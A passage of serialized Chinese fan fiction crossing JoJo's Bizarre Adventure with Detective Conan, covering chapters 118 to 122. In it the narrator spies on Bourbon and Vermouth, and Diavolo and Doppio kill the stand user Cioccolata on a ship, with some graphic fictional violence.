另一对狼兄弟其实感情不错,如果多多夸夸狼兄长的威武它会很高兴地摇起尾巴,不好说是不是疑似被驯化;隔壁的白色蟒蛇要和它的哥哥花色蟒蛇一起喂食,花色蟒蛇似乎会存食物给白色蟒蛇,不要因为它不进食就无异味它饱了。
我将这段时间的观察写成报告递给了我们的组长。穿着黑白撞色卫衣的组长接过去,没看,但是点了点头,从口袋里摸出一条口香糖,“咖啡味的,吃吗?”
118.业绩压力
那不勒斯的豪华酒店里,乔瑟夫·乔斯达依旧在钻研着新型电子设备,自从给passsione的boss【念写】失败以来,他就一直在捣鼓着这些。
现在已经不早了,快到了该吃晚饭的点了。
空条承太郎坐在豪华套房的沙发上,撇了一眼废寝忘食的外公,叹了口气。
他收起了报道了最新海洋哺乳动物的社会行为研究的杂志,冷不丁开口,“现在可要吃饭了,都这个岁数了不按时吃饭,是担心自己身体太健康不方便外婆改嫁吗?”
乔瑟夫·乔斯达终于从设备中抬起头,吹胡子瞪眼,“说什么呢!你这个幼稚的岁数才是不吃就发育不好了吧。”
“哼,老头,丝吉Q外婆可是提醒我得照看你这个作息不规律的家伙的,省的你之后回去了被她嫌弃。”承太郎压低了帽子,掩去了眼底的担心。
老头子突然发了疯一样的上进,想要【念写】出passione的boss的图片,就好像是不想承认自己的失败一样。
明明已经乔纳森的监督下又开始练习了一下波纹,正是对自己不服老的时候。如果【念写】李的行踪失败会被看作因为偶然因素的影响,但是【念写】passione的boss昨天接连打坏了5台相机都没成功,足以让老头子担心自己开始老年痴呆了。
对面的乔瑟夫·乔斯达撇撇嘴,他哪里看不出自家酷哥外孙的担心,但是他才不是担心自己老年痴呆呢!就算有,那也只有一点点。
“吃饭我是会吃的啦!记得帮我准备一杯冰可乐。”饮食不健康的长寿老人乔瑟夫撇了撇嘴,赶走了自家外孙,继续研究。
摸着无法响应的电视,没有成像的相机,乔瑟夫·乔斯达的脸色变得非常难看,对自己喃喃自语,“连声音也听不到,连影像也看不到,倒是真像个幽灵一样了。但是幽灵也不能就这么无声无息掌管这一大个组织。”
一定是有什么方法屏蔽了[念写],但是他不信就连一点信息也无法透露出来。只要是人,吃喝拉撒都会留下线索的。
总不能passione里面那个时间系替身的家伙还能把人藏在时间的缝隙里或者穿梭时空来躲避【念写】吧!
这完全不合理。
放下心中可怕的猜想,乔瑟夫·乔斯达把手继续覆上电视机屏幕。
他现在能为大家做的,就是抽出时间念写,以及去寻找新电子设备的念写方式。
不过现在电子设备真脆弱啊!
雪花屏幕上很快地闪过了一道黑线,将屏幕分割成两个部分。
乔瑟夫·乔瑟达拍了拍手下闪过雪花屏的电视,不由得嚎着嗓子大叫,“oh my god!能不能修一下啊!我不是说要全新的设备吗?”
在另一间普通旅店里,粉发雀斑的男孩忽然睁开眼,看着陌生的房间。
“嘶?我是什么时候在这里来着?”托比欧只感觉脑袋昏沉,整个人疲惫至极。他托着沉重的身体从床上爬起来,就感觉耳边传来了电话铃声。
看来又是boss的电话!
不不,自己怎么能说又呢!
托比欧猛地一巴掌扇到了自己的脸上,大口喘着气, 抓过台灯就塞到耳边。
“喂,boss!”
“我亲爱的托比欧,你是不是困惑我为什么现在还要找你?”电话那头声音低沉。
犹豫了一会,托比欧还是选择诚实说出内心的想法,“.....其实是的,boss!”
他是boss最信任的人,他得对boss保持忠诚。
“啊,我亲爱的托比欧,我其实也很想给你放个假,但是,我有种隐隐的感觉,好像总有人试图打探我的行踪,挥之不去,简直就像烦人的苍蝇一样。”
听着这话,托比欧面露狠色。
究竟还有谁敢这么做?!
在boss的命令下,他已经把比安奇组织里那群人收拾了,没有人能继续知道boss的过去的一丁点信息;之前试图来找“箭”接头的人也被他引去了海边,由boss亲自动手了。
至于passione里的人,他也不眠不休地去给了他们血的警告。在短短几天,他已经把能想到的都做完了,难道还有遗漏的吗?
“托比欧,有些事情总是会超乎人的预期的。我暂时找不出窥视我的家伙,这是因为,除了你之外,我忠诚能干的下属实在是太少了。”男人低沉的声音里似乎有些鄙夷之情。
“boss,那个女人那边我也在跟进,但是现在还没有替身使者诞生,我是否需要……?”
托比欧拿起了旁边的文件袋,看着被划出啊的那些名字,皱起了眉头。
觉醒替身使者的概率,现在实在是太低了。但是按那个女人的蠢样,她应该也不可能做手脚。
究竟是波尔波那边出了问题,还是现在监狱里的犯人已经没用成这样了……
没等托比欧思考出结果,电话那头直接向他发令,“这点你必须亲自跟进,我亲爱的托比欧,如果在倒数第二批犯人中都没产生替身使者,你就必须当场看他们到底是如何选拔的。”
“是,boss!”托比欧其实想问为什么不让他直接在招募下一批犯人
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的时候就介入,但他明白boss肯定有自己的想法。
不过一共六批犯人,这样招募四批犯人还大概需要一周左右。这个时间如果能有一点点用来休息那就太好……
“托比欧,打起精神来!”托比欧被震得一激灵,努力撑起自己沉重的眼皮。
“是的,boss!我在!”
“亲爱的托比欧,我还有些事需要你处理,等我们把这些事情都做完了,等我们抓到那些烦人的苍蝇,你就可以休息一段时间了。”
休息,多么美好的词语,他似乎从诞生起,就没有那么久不眠不休地工作过了,说起来,他怎么根本记不起自己睡觉过呢?
“我亲爱的托比欧!”boss加大的音量让托比欧睁开了眼皮,他使劲往自己大腿一掐,让自己保持清醒。
“我在!boss!”
“听好了,我将派你去埃及一趟,你去扫除一些关于箭的信息,虽然之前那个家伙已经被我们在海边解决了,但难保还有人向他一样沿着过去留下来的痕迹在找到我们。”
“我明白,boss!”
这一句话一说完,均匀的呼吸声就传来。
粉发的男人睁开眼睛,阴沉着脸放下了手上的台灯。
该死,他又被强制现身了。不过就是38小时没睡,没想到托比欧就挺不住了。
这明明就是在极端情况下,唯一能逃离那种窥视感的最好方法。
*
那不勒斯,为业绩发愁的显然不止一个人。
豪华的牢房里,波尔波紧紧盯着脚下的阴影。
如果说质量不能取胜,那么就靠数量吧。
如果所有的目标死刑犯里没有新的替身使者,boss绝对会派人来调查原因。
一旦被boss发现这是因为“箭”破损造成的,自己就必然被问责--为什么“箭”会破损。可是除了他波尔波,又有谁能有机会破坏“箭”呢?
即使上报给boss说自己一觉醒来就发现“箭”坏了,根本没人会相信。这就和报备“箭”被外星人抢走了一样滑稽。
如果他是boss,根本不会相信这套说辞。
波尔波咬了咬指甲,再次召唤出【黑色星期五】。黑色的人型替身站在豪华牢房的角落里,低着头,摸着自己的喉咙,看起来莫名委屈。
波尔波根本没有留意替身的状态,他自己可也很委屈。
“我要更改攻击的条件,除了那个被赋予招募使命的女人和我,在打火机点燃的一瞬间,看见打火机火焰的人和半径50m内的人都将被箭刺穿。”
119.(加更)测绘
在我和伊奇还有波鲁纳雷夫、花京院瓜分完那位金发黑皮邻居送来的中餐后,我得出了如下结论,“他做饭真有一手,就算开个中餐馆我也不会怀疑他的身份的。”顶多当老板是什么美黑染发的帅哥而已。
伊奇趴在我的身边,十分认同地点了点头。
“也没有吧。”波鲁纳雷夫嘟囔了两声,放下了小叉子。
“波鲁纳雷夫,要不擦擦嘴再说这话呢?”刚刚这家伙可是吃了第一口后就真香,然后和伊奇开始抢着吃了好吧。
波鲁纳雷夫大惊,拿起纸巾使劲擦了擦嘴角,发现根本没有什么痕迹后又悻悻瞥了我一眼,然后拍了拍花京院的后背,“哼,这个菜,花京院会做的比他好吃一百倍!”
不管怎么说一百倍也太夸张了吧。
被突然痛击后背的花京院看着自己不着调的同伴,看起来表情挺复杂的样子。
......这算什么替别人贷款厨艺。看着波鲁那雷夫一脸有荣与焉的样子,我感觉槽多无口吐。
“波鲁纳雷夫,想吃还是自己学着做吧,说不定做饭的过程中你就能发现自己其实隐藏神厨天赋。”
最后半句话我本来吐槽,但没想到这让波鲁纳雷夫摸了摸下巴,“这倒也是,毕竟我确实很厉害,哼哼,啊,这样我以后就能邀请心爱的人来品尝我做的法式大餐了~”
“那你做过什么吗?”
“法式煎蛋。”说这话的时候,波鲁纳雷夫的脸上竟然有着自豪的意味。
“.......”
只做过法式煎蛋的家伙就这么自信了吗?这不是什么小学生的必备技能吗!
伊奇适时发出一声嗤笑,与恼羞成怒的波鲁纳雷夫打闹了起来。
再确定两人打闹不会破坏家具后,我就转过身不参与了。
我转过脸,拿起钥匙,准备去拿刚刚电话预定的餐食,就被花京院叫住了,“李小姐,你觉得刚刚那位先生送来的饭菜怎么样?”
“很好吃。”这不是个需要思考的问题,我直接即答。
花京院脸上露出了沉思的表情。
难道是没吃饱吗?
“要不我再向他交换点?”对方应该挺乐意接受的。反正等薅完了箭头,我也差不多要准备跑路了,送点情报给passione添乱这种事我觉得也不错。
我这么想着,越发觉得刚刚没吃饱了,眼睛放光正准备就这么做的时候,花京院伸手搭上了我的手臂。动作很轻,但是阻拦的意味很明显。
“完全不用!”见我看向他,花京院抱歉了一声,松开了手,“我会学着自己做的。”
说这话的时候,他看向我的表情很是认真,让我觉得他眼睛亮晶晶的。
真是上进啊,我给了对方一个赞许的目光,然后就出门拿饭了。
我是在常吃的那家当地的餐馆预定的饭,虽然被中餐勾起了馋虫,但鉴于附近的中餐厅的菜色有些奇葩,我还是放弃了这个念想。
虽然身后没有人跟踪,但我还是选择了变幻外形去拿餐,顺便绕了几段路。
而这么一绕路,我就听见了消防车的声音。我找到了事发的源头,然后就看见了一辆燃烧的车辆。
简直是和报纸上比安奇遇害的样子完全一致。
没有撞击但是自燃的车辆,也不至于意大.利有那么多故障车吧。
而且这辆车,看车牌号,好熟悉。
我在记忆里找寻了一番,回想起了这是科长的车,不由心惊。
passione动手的速度也太快了吧。之前还是一副徐徐图之的样子,现在就已经开始清算比安奇组织相关的白手套了吗?
究竟是什么刺激了他们。
难道是因为粉色发霉章鱼头确实是passione中特别重要的角色,我之前猜出了他的替身是时间系就能让组织大动荡?
如果真这样厉害,就完全像是boss吹枕边风的地步了嘛!
不管怎么想,粉色发霉章鱼头都是至关重要的线索,只可惜我在组织里只能单箭头接洽别人,肉芽也还没重新生成。否则,我就可以重新选择直接向boss传信使托比欧种下,翻一翻他的记忆了。
看了一会,我感觉被搬出车子的科长确实没救了,秉持着同事情哀悼了两秒。我正准备离开,就看见不远处有一辆车开了过来。
交警拦下了车,表示前方无法通行,车辆要绕道通行。车主摇下了车窗,对着交警点了点头。
我认出了车主,不由得挑了挑眉。
是艾米丽。
自从引导我参与11号囚犯事件无果后,艾米丽就不来找我了。不过我之后自己也掺和进去就是了。
是碰巧吗?来到这个案发现场。
目送着车辆远去,我也混入围观的人群中离开了。
再不去拎饭,饭可就冷了。
不过在我回去的路上,我又看见了艾米丽的车停在了偏僻的角落。一个带着棒球帽的身影和我擦肩而过,走上了那辆车。
是小炒肉的气味!
我思索了一下,将饭找了一个幸运屋顶放着,然后就化成了猫的样子蹲在附近的墙上。
透过车窗,带着棒球帽的家伙摘下了帽子,露出了熟悉的脸。
果然是安室透啊。
我眯了眯眼睛,继续竖起耳朵。
车子的玻璃似乎改装过,隔音效果不错。但好在我的耳朵也很灵,所以倒是能将谈话听个十成十。
“波本,工作进行得很顺利嘛?”艾米丽拿着手在鼻子前扇了扇,“都已经开始当厨师了吗?”
波本?是什么代号吗?我在墙上伸了个懒腰,趁机靠近了一点。
安室透似乎卡壳了一下,“波本……能拥有这个代号真是我的荣幸。”
“意大利的事完成的不错,boss可是对你很满意,我只是提前把代号说出来了而已。”艾米丽耸了耸肩,“不过接下来的事办砸了就不好说了。”
“我的工作可是向你交接的,我想是否顺利还是取决于我今天移交的那人是否好用吧?”
“呵,只要他能好好听组织的话,那当然很好用,现在都已经送出去了吧。”艾米丽似乎也不喜欢安室透所说的家伙,话里显得有些轻蔑。
“看起来接下来还有什么别的任务吧,贝尔摩德。不过我很好奇我们这个任务到底有多大,得让你要在意大.利呆这么久。”
“哎呀,好奇心可是要害死人的,只要做该做的事情就好了。”被叫做贝尔摩德的艾米丽斜睨了安室透一眼,掏出了一把枪抵在了安室透的脑门上,怪嗔一句,“意大利的红酒可不错,就是为了酒我也会在这里多待一会的。”
现在的情况显然不适合多问,安室透做投降状,“在车里开枪,这样子打扫车子可是很麻烦的。”
贝尔摩德看了他两眼,收回了枪,“调查一下passione的boss是否晒过太阳。”
咦,这是
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个什么问题?
刚刚被枪指的安室透显然不能像我一样吐槽任务奇怪,他只是正色,“这个难度可不小呢,现在可没人见过passione的boss呢。”
“简单的任务可是不能获得代号的,毕竟我们从passione里的家伙那里也没打探出什么。”
闻言安室透挑了挑眉,“但是一点方向都不给我,这样子也无法展开调查吧。”
“真是油嘴滑舌。”贝尔摩德在车内点起了烟,“说起来,你相信世上有超能力吗?”
安室透瞪大了眼睛。
“真是没想象力的家伙啊.....”贝尔摩德叹了口气,嘴巴颤动了几下,还是没吐出那一句话--永生。
两年前,有一个埃及的家伙向着boss发出了永生的邀请。
可是还没等boss好好试探完,那个家伙就从世界上消失得无影无踪。只不过曾有传闻说,和那个家伙达成永生协议的人,必须要付出一定的代价。
除了高昂的金钱和对他的臣服,还有永远见不了阳光的条件。
听完了以酒名互相代称的家伙,我产生了一定的怀疑--莫非,passione的boss是什么吸血鬼?
难道我已经有了一定能成为不见光的吸血鬼的下属的buff了吗?这种东西不要也罢吧!
在谈话结尾他们抽丝剥茧,讨论为什么我一个名头上是调查passione的boss的家伙躲过了比安奇家族相关的人的死亡命运,推理我一开始就是passione培养的靶子。
虽然思路正确但是结果稍微有些偏差啊。
我的第一份工作可是比安奇给的。
我从墙上跳下,往远处溜走。
不过这样代表安室透可能还会继续接近我,既然安室透或者波本也要调查passione的boss,看在目标相同的份上,我完全可以赞助一些消息。倒不如说,有些东西由他们调查起来能使我更加隐蔽一些。
毕竟如果passione的boss真是吸血鬼了话,我也要怀疑这是不是乔瑟夫先生和我说过的那种石鬼面造成的怪物。
带着屋顶上的饭回公寓的我觉得收获满满,在吃饭的期间,我和花京院们简单提到了今天的事情,然后变形去豪华饭店找乔瑟夫先生交流情报和制定行动方针了。
当前的任务:一、在波尔波完全起疑前继续薅箭头;二、等托比欧再度出现给他种上肉芽打探passione的boss的情报三、寻找那个粉发发霉章鱼头
看着抱头大喊“oh my god”的乔瑟夫先生,我微微瞪大双眼。
“刚刚照片里一瞬间明明出现了影像的!”乔瑟夫先生指着照片,似乎打算看出花来。
“难道是相机的问题?”花京院典明递来了新的相机。
“再念写一张我用时停试试,这样留下一瞬间我们也能记住。”我和承太郎对视一眼,看起来都有相同的想法。
只可惜,后续的[念写]都失败了。
看着怏怏的乔瑟夫先生,我连忙看向承太郎,“说起来,承太郎,你的白金之星精密度很高,应该测绘也不差吧?”
白金之星在承太郎身后出现,对我点了点头。
我拿出最普通的纸和笔,递给了承太郎,“我看过那个家伙,就由白金之星画下他吧!”
当晚,贝尔摩德的车内和安室透的卧室的桌上,都出现了一张神秘男人的画像。
120.迪亚波罗真走运
自从收到了我给的画像后,我楼上的邻居肉眼可见地变得忙起来了。
金发黑皮的男人起先侧面来打探过我,估计是怀疑那张粉色发霉章鱼的照片是我偷偷塞进去的。
不过任他怎么试探,我岿然不动。
开玩笑,我曾经可是发了三个小区传单和张贴小广告的家伙,与专门铲小广告的人擦肩而过也没露出过任何破绽的家伙,怎么会因为小小的试探而动摇。
“这样往别人家里放东西的行为真是变.态啊,露娜女士您也要小心点啊。”金发黑皮的男人一只手搭在脸上,半睁着一只眼睛看我,似乎看起来真是很困扰的样子。
变态?这么说真不礼貌啊。
我以前贴小广告也是贴两层在那些卖.卵和代.孕的烂广告上,现在往安室透房间里塞照片也只是给他送业绩。这样被当做变.态还是太吃亏了吧。
反正我不是变.态。
我理直气壮抬头对上了安室透探究的视线,摇了摇头,颇有些痛心疾首,“都说了印堂发黑,要少走动,不会是在外面招到什么不详的东西了吧......”
被我这种看失足少男的表情慑住,安室透的话噎住了,抽了抽嘴角,最后匆匆离开了。
“男士在外也要注意人身安全啊。”我对着金发黑皮帅哥的背影招了招手,送上我的关怀。
安室透的脚步踉跄了一下,但是没选择回头。
我心里稍微有点抱歉,又有点遗憾,看来是最近是没法吃到这位热心邻居的特制料理了。
不得不说,安室透确实有很强的洞察能力和推理能力,而且他的行动效率高到可怕。用他那一副池面脸跟着许多人搭讪套话,试图找出点蛛丝马迹。
但是从样貌那边下手似乎一筹莫展在,我怀疑是因为那个粉发发霉章鱼头确实是个见不得光的家伙,或许真的只有死人看过他的脸。
不过,“哎,我最近也想试试这种潮流呢,不能把豹纹斑点染在头上吗?”金发黑皮向着店员描述着这个要求,一面不经意地问,“话说起来,这个如果想这么做了话,头发本身的颜色是怎么样的才好呢?”
“按客人您的长相了话,不管怎样都hold住吧!放心吧,本店可是唯一一家能做这种款式的,离开的顾客没有一个不满意的。”店员殷勤恭维,一面打算拿着一些拍下来的成功案例给安室透参考。
但是不管哪一张,都没有粉色。
再又试探了一句确实不曾有过粉色发霉章鱼,啊不是,是粉色长发的男人来做过这个造型后,安室透像是想到了什么,起身告辞了。
“啊,不好意思,突然想起这个点还和人有约,我下次再来好了。”
原来不是发霉了而是特意做的造型吗?完全看不出来啊......
没想到那个粉发章鱼还是个弄潮儿。
化形成猫咪,在屋顶听了全程的我看着金发黑皮男人离开的身影,不由得感慨对方真的挺用心调查的。
毕竟,我已经听过偷听知道了对方的目的地。
“我想要这样的衣服,请问有吗?”金发黑皮的帅哥拿出了一张破洞蕾丝渔网罩衫的示意图,面色不变。
“啊.....是想要蕾丝内衣吗?”售货员接过图样,双手微微颤抖,看着对面的金发黑皮帅哥,瞳孔地震!难道,现在,帅哥都玩得这么花了吗?
作为一只一般路过店门的猫咪,我看着男人被指甲紧紧掐着的手和平静说出“难道就没有男人能穿的吗”的脸,不由再次感慨,这个照片,真是给对人了。
什么叫专业,这就是专业啊!
*
人的成长,就是要战胜自己不成熟的过去。
迪亚波罗想着,将身子紧紧贴在冰冷的铝合金上,这样不暖和,但是能让他清醒些。
一片黑暗的船舱底部,波浪的拍打声、发动机的轰鸣声让他难得能放空一下思绪,他想起了故乡,想起了被自己埋在砖下的女人的眼睛。
但很快,下一秒,他就感到一阵神经性的痉挛,这让他继续警惕起来,脸色变得很难看。
该死。暗地里的苍蝇怎么还在。
这种不详的预感如影随形,让他根本无法安眠。
就如同踩到了路上新鲜的狗屎,无论怎么试图抹去,接下来走的每一步都会充满滑腻的感觉,除非把鞋子扔了。
而且不知怎么的,明明离开意大.利是为了解决过去留下的痕迹,但是随着与意大.利的距离越来越远,他的心却越来越不安稳。
他以托比欧的姿态上船,直接躲进了船舱底部。托比欧确实太没经受过考验,快要顶不住了,他不得不在这里稍微现身一会,使得那个娇气的人格不至于消散。
托比欧的诞生就是为了迪亚波罗而服务的。他应该更坚强些,这才能帮助自己更好地战胜过去。
迪亚波罗这么想着,松开了紧皱的眉头。
就在这时,轮船像是突然撞上了什么,让他不由身体不稳,向着底部摔了下去,外面似乎传来一阵尖叫。
吵死了!
难道是撞上什么礁石了?不过是一次普通的航行,船上的船员又不是白痴,这种小小的事情还不能处理吗。这又不是什么小木船!
迪亚波罗皱起了眉头,打量四周。
他习惯了黑暗,因此即使在一片漆黑的船舱底部也能看清。
——这边没有什么救生圈之类的,看来即使要处理事故应该也不会有人下来。
但即使确保没有人留意这里,迪亚波罗却觉得心仍像是被一双无形之手攥紧似的,让喘不过气来。
这或许不是什么心理上的感觉。
他想着,继续蹲在货物中间来挡住自己的身影,让【绯红之王】左右环视一圈,却也没看见什么可疑的东西。
没问题,迪亚波罗想,继续稍微歇一会,等到了埃及还得让托比欧出现。
他想着,挪动自己的脚步,向上方挪动,感觉自己那喘不过去的状态好些了。
看来只是自己吓自己。
迪亚波罗继续靠
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在角落里,闭上了一只眼睛,却听见外面传来尖锐的哀嚎。
他像是猫听到指甲划过玻璃的声音,立马应激地毛发竖起,眼睛看向船舱的门口,里面全是森然的冷意。
绝对有什么异常发生了。
竟然连在这都被找到了,真是该死的家伙。
不过既然敢到他面前来,就要做好死的准备。
然而甲板的风光与迪亚波罗想的略有差异。
比起是一场针对passione的boss的搜寻,上面,完全只是一个没有人性的变态烂人的恶行而已。
绿头发的男人穿着白色的风衣,远看就跟白大褂一样。他站在甲板的一头,看着不断远离他的人群,纵声大笑。
他的身前,是几个穿着黑色衣服的男人,此时正哀嚎地撕扯着自己脸。
“好痒好痒好痒!”在众人的目光下,男人抓挠着脸,然后,他的一块脸皮就嵌在他的手指上,随着动作撕拉一声扯下,露出里面的鲜红来。
众人哀嚎着,离这里更远了些,像是这样就能离灾祸远一点。
绿头发的男人眼底更是愉悦,“要是有摄影机在就好了。”乔可拉特感到了些遗憾。
他这么说着,一边蹲下身子,随手拽下黑衣男人的手臂,一面往海里面丢过去。
手臂在空中划出了抛物线,普通人看不见的病菌随着手臂的高度上升而迅速减少,但手臂从最高点又因为重力加速向下时,病菌在手臂上迅速地增殖,到了一种恶心的地步。
乔可拉特几乎是痴迷地上前一步到甲板边,看着已经变成绿色的手臂掉入海里。
“杰作。”绿发男人心满意足地喘了一口气,痴痴地回望上船板上的众人,像是仙人掌一样的替身出现在他身后,但没人能看见。
他现在开始感谢那个要杀他的女人了。如果不是她,他恐怕不能拥有这样令人着迷的超能力吧~
他曾经改造过自己的身体,使得自己可以进入进入半小时的假死状态,所以能骗过那个女人,挺到了有另一伙人来捞自己。
乔可拉特对着地上的男人轻轻一笑,看着他吓得在地上越爬身体被病毒侵入的越快,脸上的表情因为挣扎而更加痛苦,不由更加乐呵。
虽然这个组织说能让他进行一些感兴趣的实验,但是毕竟他被关在监狱里久了早就手痒了,稍微做点什么也正常的吧。
只要在他能力范围内,生物从高处向低处走,病菌就能侵蚀他们的身体。
而这里可是行使的船只,把人从船上扔下去可少不了高度差。而且经过他的引导,那群愚蠢的人都只会往低处跑,说不定有的还会直接去船舱,这样死的一定很快。
乔可拉特觉得,这座船应该就是他的美好出狱礼物,否则怎么能看见那么多美妙的场景呢?
那么作为收礼的人,也是看中质量的,他一定要给自己一个最棒的礼物。
“喂,小鬼,过来这里。”
乔可拉特对着一脸茫然的粉发雀斑少年,勾了勾手指。
121.寻人启事
乔可拉特的这一句声音不小,但是由于他一看就不正常的行径,客船上的众人都离他远远的,因此并没听清他说了什么。
有些精明的人顺着乔可拉特的手指的方向,找了个好角度。还是看见了那个不幸的粉发少年。他的身影被遮阳棚挡着,远远看不真切。
被数十双盯着的粉发少年身子有些僵硬,茫然地盯着乔可拉特,嘴唇不断颤抖,像是处于状况外。
他或许有在说话,又或许没有。就算是,也估计是在喊人求救吧。
看着捞起地上部分残躯向着粉发少年走去的乔可拉特,注意到这儿状况的人心里不由得划过一丝同情。但是自保的本能还是站着上风,他们还是老实地待在原地,没有注意到自己的身体也已经开始被病菌侵蚀。
乔可拉特收回了看向远处的视线,摸着手上的残躯,颇有些遗憾地舔了舔嘴唇。
还以为会出现几个逞英雄的,这样子就能欣赏那些“英雄”因为奔跑到低处而加速收到破坏的躯体,那种被病菌覆盖而变得不甘的表情,绝对会是非常美妙的作品。
一想到这里,乔可拉特悠悠吐出来一口气,肆意将自己选择的礼物从头到脚地打量了一遍。
那是一个17岁左右的少年,身体看起来并不健壮,粉头发,雀斑脸。他此时一边慢慢倒退,一面紧张地咽着口水。
这脸上的表情甚至可以说是怯懦。
从他眼下的黑眼圈以及眼底的疲惫,完全可以看出,他已经很久没有好好休息了。
难道是偷渡客吗?
乔可拉特用一只手摸了摸下巴,又看向少年目前看起来还算健康的身体。
明明这样疲惫的状态,身上却只有很少被病菌侵蚀的痕迹,难道刚刚这个小鬼只是躲在哪里,没有和病菌接触的机会吗?
哦,有意思。乔可拉特笑了一下,抡起胳膊将手上的残躯扔了出去,精准砸到了那个小鬼的旁边。
“啊!”粉发小鬼惊叫了一声,那张带着雀斑的脸上恐惧、疑惑的表情接踵而至,看得直叫乔可拉特兴奋得喘气。
这下子,病菌和那个小鬼的距离陡然拉近,从小鬼的指尖开始慢慢侵蚀他的手掌。
“哎,怎么了,你看起来很疲倦啊。”乔可拉特从白色风衣的口袋里掏出了一把手术刀,向前走一步,眼神贪婪地盯着那个小鬼。“需要我的帮助吗?”
粉发小鬼似乎开始感受到痛苦了,他盯着自己的手,充满血丝的眼睛垂下,飞快地看了乔可拉特一眼,抿着嘴继续后退。
噢噢!还能动啊!
多好啊,他喜欢现在还能活蹦乱跳的家伙,这样子折磨起来还更有劲。
他们已经走到甲板另一侧的人看不见的位置了。
遮阳棚下的桌椅摆放给了乔可拉特灵感,他觉得自己可以试验一下自己的新能力,看看把人分成几等分时带来的痛苦最强烈。
或许是被他的眼神吓住,粉发少年嘴唇有颤抖了几下,吐出了几个让人听不轻的音节,一只手痛苦地将自己的刘海按在了脸上。
“大点声。”乔可拉特热情地向粉发少年挥了挥手术刀,“我很尊重礼物的意见的,有什么要求向我提吧~”
“真的吗?”或许死亡前的痛苦让粉发少年失去了判断,他向前伸去那只被病菌侵蚀的一只手,脸上出现了充满希冀的神采。
天真,怯懦。
“当然啦。”
乔可拉特在心底嗤笑一声,脸上带着一个温和的笑,像那只手迎了上去。
把手指砍下塞进这小鬼的嘴里试试吧。乔可拉特这么想着,笑意更加真诚了一点。
对面的少年也笑了起来,嘴唇又颤抖了几下。
这回乔可拉特听清楚对方的话了。
“垃圾。”
哈?这臭小鬼以为自己在和谁说话。
乔可拉特磨了磨牙,他挥下了手术刀。
下一瞬间。
他看见手指掉落在了地上。
哈。小鬼,让我看看你痛苦的表情。
他抬起了头,身前却不见任何身影,自己却忍不住倒在地上。
明明,已经砍下了那小鬼的手指才对。
乔可拉特挣扎地伸了伸左手,想要向前爬行。可是一伸手,他却发现了不对劲。
我的左手,为什么没有手指了!
......难道!难道说地上的手指是?
“需要我帮忙吗?”低沉的声音从头顶传来,显得冰冷至极,完全不似刚刚怯懦的样子。
乔可拉特费力地转着眼睛,就看见一双皮鞋踩在自己脸上,一个沾满血的手将地上的手指从远处拿来,一根一根塞进自己的嘴中。
铁锈味充斥着口腔,手指被粗暴地塞进嘴里,直接捅到了嗓子眼,让乔可拉特恶心得想吐。
皮鞋狠狠碾在脸上,可是比起疼痛,那人的下一句话更是让乔可拉特心惊胆战。
“你是怎么从监狱里出来的。”
血的味道把托比欧从困倦中扯出,但是长时间没休息叠加着看到不应该还活着的家伙,他的动作更加暴虐起来。
审讯完成的很快,在两只手和一排牙齿的代价下,托比欧如愿知道了乔可拉特的逃脱方式。
“竟然是漏网之鱼,呵。”他收回脚,捏了捏鼻梁,一时间比起愤怒,倒是多一点庆幸。
这么说并不是那个女人的背叛,只是有不找眼的其他组织想来挖passione的墙角。
还好.....这样子至少手里还能有能用的家伙。
等boss打击完那些不长眼的组织之后,再教训那个女人也不迟。
现在得先去埃及,然后.....
确认了躺倒在地上的男人没有声息后,托比欧眼皮耷拉着,继续往船舱那里走去。
假死状态的乔可拉特连气也不敢喘。
再走远一点,就往下走去吧。他还没死,等那个病菌快速繁衍把那个该死的小鬼身体机能全部毁掉的时候,就是他的胜利了。
可是乔可拉特的野望没有实现。
脚步声一顿,又朝着他走来。
“原来是这样。”这回是低沉的男声,比起刚刚的少年,声音更加成熟。
“如果是这样逃脱,我能理解了。”他的皮鞋继续碾上了乔可拉特,“去死吧。”
确认乔可拉特已
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经彻彻底底的死亡,迪亚波罗将他扔下了船。
整艘客船上,除了他,已经没有活人的气息了。
这样也好。
迪亚波罗想,没有人能看见他的脸。
除了到达埃及会比自己预想的晚一点外,也没有什么。
虽然是这么安慰自己,但是他皱起的眉头和幽暗的眼神却暴露了他内心的不平静。
不过想要收编乔可拉特的那个组织......
迪亚波罗想起了情报部门曾经递上来的消息--那个以酒为代号的组织似乎也在埃及出现过。
如果找“箭”的也是他们,那不清除干净是不行啊。
*
“阿嚏。”金发黑皮的男人坐在后座,打了个喷嚏。
对面的女人露出了嫌弃的眼神,“怎么了,波本,是有人在想你吗?”
“啊,我倒希望是我们的任务对象在想我。”安室透没理会对方的调侃,从怀里掏出一张放在透明塑封袋里的照片。
这张照片上的人不知道是身份,也不知道是谁送来的。
但凭借照片悄无声息地被送入和背面的passione,就足够引起重视了。
“再不加把劲,就得把代号给吐出来吧。”车窗下摇了一些,贝尔摩德在车内点了一根烟,望着窗外,吐了一口气。
其实这个任务完成与否,她并没有那么在意。只是这是boss的命令,不能违抗罢了。
永生,恐怕也是什么包裹着砒霜的糖果。她的目光移到了后视镜上,看着后面那个一心向上爬的新人,又低头看了一眼自己的手。
皮肤依旧光滑细腻,看不出年龄。
“我可是不敢偷懒啊”,后排金发黑皮的男人耸了耸肩,脸上也没什么笑,“不过不管从外貌还是服饰下手,都没能找到这个男人存在的痕迹。”
不过,没有消息有时候才是最好的消息。
人是社会的动物。一个人活在这个世上,如果谁都没见过了话,绝对是在故意封锁自己的存在。
再加上在意大.利和埃及都出现了有些身分不明的家伙对于组织的报复,这就足以说明很多东西了。
这张照片里的人,绝对是什么大鱼。
贝尔摩德也明白这点,美丽的脸上出现了一丝阴霾。
她也知道人能隐姓埋名到什么地步,不过那一位可是在明面上已经不存在了,如果照片里面的人也是,那就变得很麻烦了。
“档案室可还要麻烦你了。”金发黑皮的男人说着麻烦,但是表情却毫不客气,将一个小本子递了过去。
虽然确实没有人见过那个照片上的男人,但是从服饰的蛛丝马迹,还是能推测出那个男人的行动路线的。至少,他应该是活跃在意大.利才对。
贝尔摩德挑了挑眉,接过了小本子,翻看了两眼,点了点头。
“行动不要太过张扬了。”
贝尔摩德留下了最后一句话,就在偏僻的地方放了安室透下车。
但是,当她第三天再以艾米丽的身份上班时,路过的同事递给了她一张报纸。
在寻人启事那一栏,赫然是那个男人的照片。
122.一点前增补
一般的寻人启事其实也不会引起别人的关注。
不过这个寻人启事比较特别,一方面是这个被寻找的对象穿得比较潮流,年纪也不小,看起来智力也挺正常的,让人实在无法相信这可能是某种走失儿童。
另一方面就是,这个寻人启事几乎出现在了意大利的所有报纸上,而且持续时间之久叫人咂舌。
